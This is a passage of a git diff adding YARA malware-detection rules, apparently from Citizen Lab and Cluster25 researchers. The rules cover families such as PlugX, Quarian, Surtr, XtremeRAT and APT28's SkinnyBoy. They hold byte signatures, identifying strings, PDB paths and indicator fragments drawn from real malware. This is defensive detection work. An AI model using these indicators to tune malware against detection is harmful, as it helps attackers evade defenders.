+        $ = "\x00Lhundup Damcho\x00\x1e"
+        $ = "\x00MC SYSTEM\x00\x1e"
+        $ = "\x00mm\x00\x1e"
+        $ = "\x00mpzhang\x00\x1e"
+        $ = "\x00neuroking\x00\x1e"
+        $ = "\x00niu2\x00\x1e"
+        $ = "\x00Normal.d\x00\x1e"
+        $ = "\x00Normal.w\x00\x1e"
+        $ = "\x00Normal\x00\x1e"
+        $ = "\x00one\x00\x1e"
+        $ = "\x00Owner\x00\x1e"
+        $ = "\x00pema tashi\x00\x1e"
+        $ = "\x00pepe\x00\x1e"
+        $ = "\x00PhiDiem\x00\x1e"
+        $ = "\x00ResuR\x00\x1e"
+        $ = "\x00roy\x00\x1e"
+        $ = "\x00Samphel\x00\x1e"
+        $ = "\x00system\x00\x1e"
+        $ = "\x00TCC Dhasa1\x00\x1e"
+        $ = "\x00tensangmo\x00\x1e"
+        $ = "\x00Tenzin\x00\x1e"
+        $ = "\x00test\x00\x1e"
+        $ = "\x00Tibet Ever\x00\x1e"
+        $ = "\x00Tran Duy Linh\x00\x1e"
+        $ = "\x00Traudl\x00\x1e"
+        $ = "\x00unknown\x00\x1e"
+        $ = "\x00User\x00\x1e"
+        $ = "\x00user\x00\x1e"
+        $ = "\x00USR\x00\x1e"
+        $ = "\x00walkinnet\x00\x1e"
+        $ = "\x00WIN7\x00\x1e"
+        $ = "\x00www\x00\x1e"
+        $ = "\x00             \x00\x1e"
+        $ = "\x00        \x00\x1e"
+        $ = "\x00      \x00\x1e"
+        $ = "\x00  \x00\x1e"
+        $ = "\x00y\x00\x1e"
+
+    condition:
+        IsOLE and (any of them)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/olyx.yara b/yara-mikesxrs/Citizen Lab/olyx.yara
new file mode 100644
index 0000000..08cf3a8
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/olyx.yara	
@@ -0,0 +1,39 @@
+private rule OlyxCode : Olyx Family 
+{
+    meta:
+        description = "Olyx code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $six = { C7 40 04 36 36 36 36 C7 40 08 36 36 36 36 }
+        $slash = { C7 40 04 5C 5C 5C 5C C7 40 08 5C 5C 5C 5C }
+        
+    condition:
+        any of them
+}
+
+private rule OlyxStrings : Olyx Family
+{
+    meta:
+        description = "Olyx Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $ = "/Applications/Automator.app/Contents/MacOS/DockLight"
+       
+    condition:
+        any of them
+}
+
+rule Olyx : Family
+{
+    meta:
+        description = "Olyx"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    condition:
+        OlyxCode or OlyxStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/payloads.yara b/yara-mikesxrs/Citizen Lab/payloads.yara
new file mode 100644
index 0000000..3af9068
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/payloads.yara	
@@ -0,0 +1,14 @@
+rule XYPayload : Payload
+{
+    meta:
+        description = "Identifier for payloads using XXXXYYYY/YYYYXXXX markers"
+        author = "Seth Hardy"
+        last_modified = "2014-05-05"
+        
+    strings:
+        $start_marker = "XXXXYYYY"
+        $end_marker = "YYYYXXXX"
+    
+    condition:
+        $start_marker and $end_marker
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/plugx.yara b/yara-mikesxrs/Citizen Lab/plugx.yara
new file mode 100644
index 0000000..79e8a77
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/plugx.yara	
@@ -0,0 +1,52 @@
+private rule PlugXBootLDRCode : PlugX Family 
+{
+    meta:
+        description = "PlugX boot.ldr code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-12"
+        
+    strings:
+        $callpop = { E8 00 00 00 00 58 }
+        // Compares [eax+n] to GetProcAdd, one character at a time. This goes up to GetP:
+        $GetProcAdd = { 80 38 47 75 36 80 78 01 65 75 30 80 78 02 74 75 2A 80 78 03 50 }
+        // Load these function strings 4 characters at a time. These check the first two blocks:
+        $L4_LoadLibraryA = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 4C 6F 61 64 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 4C 69 62 72 }
+        $L4_VirtualAlloc = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 56 69 72 74 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 75 61 6C 41 }
+        $L4_VirtualFree = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 56 69 72 74 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 75 61 6C 46 }
+        $L4_ExitThread = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 45 78 69 74 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 54 68 72 65 }
+        $L4_ntdll = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 6E 74 64 6C 66 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) C6 00 }
+        $L4_RtlDecompressBuffer = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 52 74 6C 44 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 65 63 6F 6D }
+        $L4_memcpy = { C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 6D 65 6D 63 66 C7 ( ?? ?? | ?? ?? ?? ?? ?? ) 70 79 }
+        
+    condition:
+        ($callpop at 0) or $GetProcAdd or (all of ($L4_*))
+}
+
+private rule PlugXStrings : PlugX Family
+{
+    meta:
+        description = "PlugX Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-12"
+        
+    strings:
+        $BootLDR = "boot.ldr" wide ascii
+        $Dwork = "d:\\work" nocase
+        $Plug25 = "plug2.5"
+        $Plug30 = "Plug3.0"
+        $Shell6 = "Shell6"
+      
+    condition:
+        $BootLDR or ($Dwork and ($Plug25 or $Plug30 or $Shell6))
+}
+
+rule PlugX : Family
+{
+    meta:
+        description = "PlugX"
+        author = "Seth Hardy"
+        last_modified = "2014-06-12"
+        
+    condition:
+        PlugXBootLDRCode or PlugXStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/pubsab.yara b/yara-mikesxrs/Citizen Lab/pubsab.yara
new file mode 100644
index 0000000..7a7e07c
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/pubsab.yara	
@@ -0,0 +1,40 @@
+private rule PubSabCode : PubSab Family 
+{
+    meta:
+        description = "PubSab code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $decrypt = { 6B 45 E4 37 89 CA 29 C2 89 55 E4 }
+        
+    condition:
+        any of them
+}
+
+private rule PubSabStrings : PubSab Family
+{
+    meta:
+        description = "PubSab Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    strings:
+        $ = "_deamon_init"
+        $ = "com.apple.PubSabAgent"
+        $ = "/tmp/screen.jpeg"
+       
+    condition:
+        any of them
+}
+
+rule PubSab : Family
+{
+    meta:
+        description = "PubSab"
+        author = "Seth Hardy"
+        last_modified = "2014-06-19"
+        
+    condition:
+        PubSabCode or PubSabStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/quarian.yara b/yara-mikesxrs/Citizen Lab/quarian.yara
new file mode 100644
index 0000000..b657ec6
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/quarian.yara	
@@ -0,0 +1,64 @@
+private rule QuarianCode : Quarian Family 
+{
+    meta:
+        description = "Quarian code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+    
+    strings:
+        // decrypt in intelnat.sys
+        $ = { C1 E? 04 8B ?? F? C1 E? 05 33 C? }
+        // decrypt in mswsocket.dll
+        $ = { C1 EF 05 C1 E3 04 33 FB }
+        $ = { 33 D8 81 EE 47 86 C8 61 }
+        // loop in msupdate.dll
+        $ = { FF 45 E8 81 45 EC CC 00 00 00 E9 95 FE FF FF }
+    
+    condition:
+        any of them
+}
+
+private rule QuarianStrings : Quarian Family
+{
+    meta:
+        description = "Quarian Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+        
+    strings:
+        $ = "s061779s061750"
+        $ = "[OnUpLoadFile]"
+        $ = "[OnDownLoadFile]"
+        $ = "[FileTransfer]"
+        $ = "---- Not connect the Manager, so start UnInstall ----"
+        $ = "------- Enter CompressDownLoadDir ---------"
+        $ = "------- Enter DownLoadDirectory ---------"
+        $ = "[HandleAdditionalData]"
+        $ = "[mswsocket.dll]"
+        $ = "msupdate.dll........Enter ThreadCmd!"
+        $ = "ok1-1"
+        $ = "msupdate_tmp.dll"
+        $ = "replace Rpcss.dll successfully!"
+        $ = "f:\\loadhiddendriver-mdl\\objfre_win7_x86\\i386\\intelnat.pdb"
+        $ = "\\drivercashe\\" wide ascii
+        $ = "\\microsoft\\windwos\\" wide ascii
+        $ = "\\DosDevices\\LOADHIDDENDRIVER" wide ascii
+        $ = "\\Device\\LOADHIDDENDRIVER" wide ascii
+        $ = "Global\\state_maping" wide ascii
+        $ = "E:\\Code\\2.0\\2.0_multi-port\\2.0\\ServerInstall_New-2010-0913_sp3\\msupdataDll\\Release\\msupdate_tmp.pdb"
+        $ = "Global\\unInstall_event_1554_Ower" wide ascii
+        
+    condition:
+       any of them
+}
+
+rule Quarian : Family
+{
+    meta:
+        description = "Quarian"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+        
+    condition:
+        QuarianCode or QuarianStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/regsubdat.yara b/yara-mikesxrs/Citizen Lab/regsubdat.yara
new file mode 100644
index 0000000..d8796a1
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/regsubdat.yara	
@@ -0,0 +1,47 @@
+private rule RegSubDatCode : RegSubDat Family 
+{
+    meta:
+        description = "RegSubDat code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+    
+    strings:
+        // decryption loop
+        $ = { 80 34 3? 99 40 (3D FB 65 00 00 | 3B C6) 7? F? }
+        // push then pop values
+        $ = { 68 FF FF 7F 00 5? }
+        $ = { 68 FF 7F 00 00 5? }
+    
+    condition:
+        all of them
+}
+
+private rule RegSubDatStrings : RegSubDat Family
+{
+    meta:
+        description = "RegSubDat Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+        
+    strings:
+        $avg1 = "Button"
+        $avg2 = "Allow"
+        $avg3 = "Identity Protection"
+        $avg4 = "Allow for all"
+        $avg5 = "AVG Firewall Asks For Confirmation"
+        $mutex = "0x1A7B4C9F"
+        
+    condition:
+       all of ($avg*) or $mutex
+}
+
+rule RegSubDat : Family
+{
+    meta:
+        description = "RegSubDat"
+        author = "Seth Hardy"
+        last_modified = "2014-07-14"
+        
+    condition:
+        RegSubDatCode or RegSubDatStrings
+}
diff --git a/yara-mikesxrs/Citizen Lab/remote.yara b/yara-mikesxrs/Citizen Lab/remote.yara
new file mode 100644
index 0000000..a2f441d
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/remote.yara	
@@ -0,0 +1,81 @@
+private rule RSharedStrings : Surtr Family {
+	meta:
+		description = "identifiers for remote and gmremote"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+	
+	strings:
+		$ = "nView_DiskLoydb" wide
+		$ = "nView_KeyLoydb" wide
+		$ = "nView_skins" wide
+		$ = "UsbLoydb" wide
+		$ = "%sBurn%s" wide
+		$ = "soul" wide
+
+	condition:
+		any of them
+
+}
+
+
+private rule RemoteStrings : Remote Variant Surtr Family {
+	meta:
+		description = "indicators for remote.dll - surtr stage 2"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+	
+	strings:
+		$ = "\x00Remote.dll\x00"
+		$ = "\x00CGm_PlugBase::"
+		$ = "\x00ServiceMain\x00_K_H_K_UH\x00"
+		$ = "\x00_Remote_\x00" wide
+	condition:
+		any of them
+}
+
+private rule GmRemoteStrings : GmRemote Variant Family Surtr {
+	meta:
+		description = "identifiers for gmremote: surtr stage 2"
+		author = "Katie Kleemola"
+		last_updated = "07-21-2014"
+	
+	strings:
+		$ = "\x00x86_GmRemote.dll\x00"
+		$ = "\x00D:\\Project\\GTProject\\Public\\List\\ListManager.cpp\x00"
+		$ = "\x00GmShutPoint\x00"
+		$ = "\x00GmRecvPoint\x00"
+		$ = "\x00GmInitPoint\x00"
+		$ = "\x00GmVerPoint\x00"
+		$ = "\x00GmNumPoint\x00"
+		$ = "_Gt_Remote_" wide
+		$ = "%sBurn\\workdll.tmp" wide
+	
+	condition:
+		any of them
+
+}
+
+/*
+ * Check if File has shared identifiers among Surtr Stage 2's
+ * Then look for unique identifiers to each variant
+*/
+
+rule GmRemote : Family Surtr Variant GmRemote {
+	meta:
+		description = "identifier for gmremote"
+		author = "Katie Kleemola"
+		last_updated = "07-25-2014"
+	
+	condition:
+		RSharedStrings and GmRemoteStrings
+}
+
+rule Remote : Family Surtr Variant Remote {
+	meta:
+		description = "identifier for remote"
+		author = "Katie Kleemola"
+		last_updated = "07-25-2014"
+	
+	condition:
+		RSharedStrings and RemoteStrings
+}
diff --git a/yara-mikesxrs/Citizen Lab/rookie.yara b/yara-mikesxrs/Citizen Lab/rookie.yara
new file mode 100644
index 0000000..b18e197
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/rookie.yara	
@@ -0,0 +1,43 @@
+private rule RookieCode : Rookie Family 
+{
+    meta:
+        description = "Rookie code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        // hidden AutoConfigURL
+        $ = { C6 ?? ?? ?? 41 C6 ?? ?? ?? 75 [4] C6 ?? ?? ?? 6F C6 ?? ?? ?? 43 C6 ?? ?? ?? 6F C6 ?? ?? ?? 6E C6 ?? ?? ?? 66 }
+        // hidden ProxyEnable
+        $ = { C6 ?? ?? ?? 50 [4] C6 ?? ?? ?? 6F C6 ?? ?? ?? 78 C6 ?? ?? ?? 79 C6 ?? ?? ?? 45 C6 ?? ?? ?? 6E C6 ?? ?? ?? 61 }
+        // xor on rand value?
+        $ = { 8B 1D 10 A1 40 00 [18] FF D3 8A 16 32 D0 88 16 }
+
+    condition:
+        any of them
+}
+
+private rule RookieStrings : Rookie Family
+{
+    meta:
+        description = "Rookie Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "RookIE/1.0"
+        
+    condition:
+       any of them
+}
+
+rule Rookie : Family
+{
+    meta:
+        description = "Rookie"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    condition:
+        RookieCode or RookieStrings
+}
diff --git a/yara-mikesxrs/Citizen Lab/rooter.yara b/yara-mikesxrs/Citizen Lab/rooter.yara
new file mode 100644
index 0000000..17a9a72
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/rooter.yara	
@@ -0,0 +1,43 @@
+private rule RooterCode : Rooter Family 
+{
+    meta:
+        description = "Rooter code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+    
+    strings:
+        // xor 0x30 decryption
+        $ = { 80 B0 ?? ?? ?? ?? 30 40 3D 00 50 00 00 7C F1 }
+    
+    condition:
+        any of them
+}
+
+private rule RooterStrings : Rooter Family
+{
+    meta:
+        description = "Rooter Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    strings:
+        $group1 = "seed\x00"
+        $group2 = "prot\x00"
+        $group3 = "ownin\x00"
+        $group4 = "feed0\x00"
+        $group5 = "nown\x00"
+
+    condition:
+       3 of ($group*)
+}
+
+rule Rooter : Family
+{
+    meta:
+        description = "Rooter"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    condition:
+        RooterCode or RooterStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/safenet.yara b/yara-mikesxrs/Citizen Lab/safenet.yara
new file mode 100644
index 0000000..6609191
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/safenet.yara	
@@ -0,0 +1,42 @@
+private rule SafeNetCode : SafeNet Family 
+{
+    meta:
+        description = "SafeNet code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-16"
+        
+    strings:
+        // add edi, 14h; cmp edi, 50D0F8h
+        $ = { 83 C7 14 81 FF F8 D0 40 00 }
+    condition:
+        any of them
+}
+
+private rule SafeNetStrings : SafeNet Family
+{
+    meta:
+        description = "Strings used by SafeNet"
+        author = "Seth Hardy"
+        last_modified = "2014-07-16"
+        
+    strings:
+        $ = "6dNfg8Upn5fBzGgj8licQHblQvLnUY19z5zcNKNFdsDhUzuI8otEsBODrzFCqCKr"
+        $ = "/safe/record.php"
+        $ = "_Rm.bat" wide ascii
+        $ = "try\x0d\x0a\x09\x09\x09\x09  del %s" wide ascii
+        $ = "Ext.org" wide ascii
+        
+    condition:
+        any of them
+
+}
+
+rule SafeNet : Family
+{
+    meta:
+        description = "SafeNet family"
+        
+    condition:
+        SafeNetCode or SafeNetStrings
+        
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/scarhikn.yara b/yara-mikesxrs/Citizen Lab/scarhikn.yara
new file mode 100644
index 0000000..7b61268
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/scarhikn.yara	
@@ -0,0 +1,41 @@
+private rule ScarhiknCode : Scarhikn Family 
+{
+    meta:
+        description = "Scarhikn code features"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+    
+    strings:
+        // decryption
+        $ = { 8B 06 8A 8B ?? ?? ?? ?? 30 0C 38 03 C7 55 43 E8 ?? ?? ?? ?? 3B D8 59 72 E7 }
+        $ = { 8B 02 8A 8D ?? ?? ?? ?? 30 0C 30 03 C6 8B FB 83 C9 FF 33 C0 45 F2 AE F7 D1 49 3B E9 72 E2 }
+    
+    condition:
+        any of them
+}
+
+private rule ScarhiknStrings : Scarhikn Family
+{
+    meta:
+        description = "Scarhikn Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    strings:
+        $ = "9887___skej3sd"
+        $ = "haha123"
+        
+    condition:
+       any of them
+}
+
+rule Scarhikn : Family
+{
+    meta:
+        description = "Scarhikn"
+        author = "Seth Hardy"
+        last_modified = "2014-06-25"
+        
+    condition:
+        ScarhiknCode or ScarhiknStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/surtr.yara b/yara-mikesxrs/Citizen Lab/surtr.yara
new file mode 100644
index 0000000..be35074
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/surtr.yara	
@@ -0,0 +1,51 @@
+private rule SurtrCode : Surtr Family {
+	meta: 
+		author = "Katie Kleemola"
+		description = "Code features for Surtr Stage1"
+		last_updated = "2014-07-16"
+	
+	strings:
+		//decrypt config
+		$ = { 8A ?? ?? 84 ?? ?? 74 ?? 3C 01 74 ?? 34 01 88 41 3B ?? 72 ?? }
+		//if Burn folder name is not in strings
+		$ = { C6 [3] 42 C6 [3] 75 C6 [3] 72 C6 [3] 6E C6 [3] 5C }
+		//mov char in _Fire
+		$ = { C6 [3] 5F C6 [3] 46 C6 [3] 69 C6 [3] 72 C6 [3] 65 C6 [3] 2E C6 [3] 64 }
+
+	condition:
+		any of them
+
+}
+
+private rule SurtrStrings : Surtr Family {	
+	meta: 
+		author = "Katie Kleemola"
+		description = "Strings for Surtr"
+		last_updated = "2014-07-16"
+
+	strings:
+		$ = "\x00soul\x00"
+		$ = "\x00InstallDll.dll\x00"
+		$ = "\x00_One.dll\x00"
+		$ = "_Fra.dll"
+		$ = "CrtRunTime.log"
+		$ = "Prod.t"
+		$ = "Proe.t"
+		$ = "Burn\\"
+		$ = "LiveUpdata_Mem\\"
+
+	condition:
+		any of them
+
+}
+
+rule Surtr : Family {
+	meta:
+		author = "Katie Kleemola"
+		description = "Rule for Surtr Stage One"
+		last_updated = "2014-07-16"
+
+	condition:
+		SurtrStrings or SurtrCode
+
+}
diff --git a/yara-mikesxrs/Citizen Lab/t5000.yara b/yara-mikesxrs/Citizen Lab/t5000.yara
new file mode 100644
index 0000000..1848107
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/t5000.yara	
@@ -0,0 +1,37 @@
+private rule T5000Strings : T5000 Family
+{
+    meta:
+        description = "T5000 Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-26"
+        
+    strings:
+        $ = "_tmpR.vbs"
+        $ = "_tmpg.vbs"
+        $ = "Dtl.dat" wide ascii
+        $ = "3C6FB3CA-69B1-454f-8B2F-BD157762810E"
+        $ = "EED5CA6C-9958-4611-B7A7-1238F2E1B17E"
+        $ = "8A8FF8AD-D1DE-4cef-B87C-82627677662E"
+        $ = "43EE34A9-9063-4d2c-AACD-F5C62B849089"
+        $ = "A8859547-C62D-4e8b-A82D-BE1479C684C9"
+        $ = "A59CF429-D0DD-4207-88A1-04090680F714"
+        $ = "utd_CE31" wide ascii
+        $ = "f:\\Project\\T5000\\Src\\Target\\1 KjetDll.pdb"
+        $ = "l:\\MyProject\\Vc 7.1\\T5000\\T5000Ver1.28\\Target\\4 CaptureDLL.pdb"
+        $ = "f:\\Project\\T5000\\Src\\Target\\4 CaptureDLL.pdb"
+        $ = "E:\\VS2010\\xPlat2\\Release\\InstRes32.pdb"
+        
+    condition:
+       any of them
+}
+
+rule T5000 : Family
+{
+    meta:
+        description = "T5000"
+        author = "Seth Hardy"
+        last_modified = "2014-06-26"
+        
+    condition:
+        T5000Strings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/vidgrab.yara b/yara-mikesxrs/Citizen Lab/vidgrab.yara
new file mode 100644
index 0000000..4708dbf
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/vidgrab.yara	
@@ -0,0 +1,46 @@
+private rule VidgrabCode : Vidgrab Family 
+{
+    meta:
+        description = "Vidgrab code tricks"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $divbyzero = { B8 02 00 00 00 48 48 BA 02 00 00 00 83 F2 02 F7 F0 }
+        // add eax, ecx; xor byte ptr [eax], ??h; inc ecx
+        $xorloop = { 03 C1 80 30 (66 | 58) 41 }
+        $junk = { 8B 4? ?? 8B 4? ?? 03 45 08 52 5A }
+        
+    condition:
+        all of them
+}
+
+private rule VidgrabStrings : Vidgrab Family
+{
+    meta:
+        description = "Vidgrab Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    strings:
+        $ = "IDI_ICON5" wide ascii
+        $ = "starter.exe"
+        $ = "wmifw.exe"
+        $ = "Software\\rar"
+        $ = "tmp092.tmp"
+        $ = "temp1.exe"
+        
+    condition:
+       3 of them
+}
+
+rule Vidgrab : Family
+{
+    meta:
+        description = "Vidgrab"
+        author = "Seth Hardy"
+        last_modified = "2014-06-20"
+        
+    condition:
+        VidgrabCode or VidgrabStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/warp.yara b/yara-mikesxrs/Citizen Lab/warp.yara
new file mode 100644
index 0000000..8e067c5
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/warp.yara	
@@ -0,0 +1,41 @@
+private rule WarpCode : Warp Family 
+{
+    meta:
+        description = "Warp code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+    
+    strings:
+        // character replacement
+        $ = { 80 38 2B 75 03 C6 00 2D 80 38 2F 75 03 C6 00 5F }
+    
+    condition:
+        any of them
+}
+
+private rule WarpStrings : Warp Family
+{
+    meta:
+        description = "Warp Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    strings:
+        $ = "/2011/n325423.shtml?"
+        $ = "wyle"
+        $ = "\\~ISUN32.EXE"
+
+    condition:
+       any of them
+}
+
+rule Warp : Family
+{
+    meta:
+        description = "Warp"
+        author = "Seth Hardy"
+        last_modified = "2014-07-10"
+        
+    condition:
+        WarpCode or WarpStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/wimmie.yara b/yara-mikesxrs/Citizen Lab/wimmie.yara
new file mode 100644
index 0000000..ac8ea81
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/wimmie.yara	
@@ -0,0 +1,45 @@
+private rule WimmieShellcode : Wimmie Family 
+{
+    meta:
+        description = "Wimmie code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-17"
+        
+    strings:
+        // decryption loop
+        $ = { 49 30 24 39 83 F9 00 77 F7 8D 3D 4D 10 40 00 B9 0C 03 00 00 }
+        $xordecrypt = {B9 B4 1D 00 00 [8] 49 30 24 39 83 F9 00 }
+        
+    condition:
+        any of them
+}
+
+private rule WimmieStrings : Wimmie Family
+{
+    meta:
+        description = "Strings used by Wimmie"
+        author = "Seth Hardy"
+        last_modified = "2014-07-17"
+        
+    strings:
+        $ = "\x00ScriptMan"
+        $ = "C:\\WINDOWS\\system32\\sysprep\\cryptbase.dll" wide ascii
+        $ = "ProbeScriptFint" wide ascii
+        $ = "ProbeScriptKids"
+        
+    condition:
+        any of them
+
+}
+
+rule Wimmie : Family
+{
+    meta:
+        description = "Wimmie family"
+        author = "Seth Hardy"
+        last_modified = "2014-07-17"
+   
+    condition:
+        WimmieShellcode or WimmieStrings
+        
+}
diff --git a/yara-mikesxrs/Citizen Lab/xtreme.yara b/yara-mikesxrs/Citizen Lab/xtreme.yara
new file mode 100644
index 0000000..ba11592
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/xtreme.yara	
@@ -0,0 +1,42 @@
+private rule XtremeRATCode : XtremeRAT Family 
+{
+    meta:
+        description = "XtremeRAT code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+    
+    strings:
+        // call; fstp st
+        $ = { E8 ?? ?? ?? ?? DD D8 }
+        // hiding string
+        $ = { C6 85 ?? ?? ?? ?? 4D C6 85 ?? ?? ?? ?? 70 C6 85 ?? ?? ?? ?? 64 C6 85 ?? ?? ?? ?? 62 C6 85 ?? ?? ?? ?? 6D }
+    
+    condition:
+        all of them
+}
+
+private rule XtremeRATStrings : XtremeRAT Family
+{
+    meta:
+        description = "XtremeRAT Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+        
+    strings:
+        $ = "dqsaazere"
+        $ = "-GCCLIBCYGMING-EH-TDM1-SJLJ-GTHR-MINGW32"
+        
+    condition:
+       any of them
+}
+
+rule XtremeRAT : Family
+{
+    meta:
+        description = "XtremeRAT"
+        author = "Seth Hardy"
+        last_modified = "2014-07-09"
+        
+    condition:
+        XtremeRATCode or XtremeRATStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Citizen Lab/yayih.yara b/yara-mikesxrs/Citizen Lab/yayih.yara
new file mode 100644
index 0000000..f34b265
--- /dev/null
+++ b/yara-mikesxrs/Citizen Lab/yayih.yara	
@@ -0,0 +1,42 @@
+rule YayihCode : Yayih Family 
+{
+    meta:
+        description = "Yayih code features"
+        author = "Seth Hardy"
+        last_modified = "2014-07-11"
+    
+    strings:
+        //  encryption
+        $ = { 80 04 08 7A 03 C1 8B 45 FC 80 34 08 19 03 C1 41 3B 0A 7C E9 }
+    
+    condition:
+        any of them
+}
+
+rule YayihStrings : Yayih Family
+{
+    meta:
+        description = "Yayih Identifying Strings"
+        author = "Seth Hardy"
+        last_modified = "2014-07-11"
+        
+    strings:
+        $ = "/bbs/info.asp"
+        $ = "\\msinfo.exe"
+        $ = "%s\\%srcs.pdf"
+        $ = "\\aumLib.ini"
+
+    condition:
+       any of them
+}
+
+rule Yayih : Family
+{
+    meta:
+        description = "Yayih"
+        author = "Seth Hardy"
+        last_modified = "2014-07-11"
+        
+    condition:
+        YayihCode or YayihStrings
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Cluster 25/APT28_SkinnyBoy_Dropper.yar b/yara-mikesxrs/Cluster 25/APT28_SkinnyBoy_Dropper.yar
new file mode 100644
index 0000000..be5a742
--- /dev/null
+++ b/yara-mikesxrs/Cluster 25/APT28_SkinnyBoy_Dropper.yar	
@@ -0,0 +1,13 @@
+rule APT28_SkinnyBoy_Dropper: RUSSIAN THREAT ACTOR {
+meta:
+author = "Cluster25"
+hash1 = "12331809c3e03d84498f428a37a28cf6cbb1dafe98c36463593ad12898c588c9"
+report = "https://21649046.fs1.hubspotusercontent-na1.net/hubfs/21649046/2021-05_FancyBear.pdf"
+strings:
+$ = "cmd /c DEL " ascii
+$ = " \"" ascii
+$ = {8a 08 40 84 c9 75 f9}
+$ = {0f b7 84 0d fc fe ff ff 66 31 84 0d fc fd ff ff}
+condition:
+(uint16(0) == 0x5A4D and all of them)
+}
\ No newline at end of file
diff --git a/yara-mikesxrs/Cluster 25/APT28_SkinnyBoy_Implanter.yar b/yara-mikesxrs/Cluster 25/APT28_SkinnyBoy_Implanter.yar
new file mode 100644
index 0000000..302e246
--- /dev/null
+++ b/yara-mikesxrs/Cluster 25/APT28_SkinnyBoy_Implanter.yar	
@@ -0,0 +1,16 @@
+import "pe"
+rule APT28_SkinnyBoy_Implanter: RUSSIAN THREAT ACTOR {
+meta:
+author= "Cluster25"
+date= "2021-05-24"
+hash= "ae0bc3358fef0ca2a103e694aa556f55a3fed4e98ba57d16f5ae7ad4ad583698"
+report = "https://21649046.fs1.hubspotusercontent-na1.net/hubfs/21649046/2021-05_FancyBear.pdf"
+strings:
+$enc_string = {F3 0F 7E 05 ?? ?? ?? ?? 6? [5] 6A ?? 66 [6] 66 [7] F3 0F 7E 05 ?? ?? ?? ?? 8D
+85 [4] 6A ?? 50 66 [7] E8}
+$heap_ops = {8B [1-5] 03 ?? 5? 5? 6A 08 FF [1-6] FF ?? ?? ?? ?? ?? [0-6] 8B ?? [0-6] 8?}
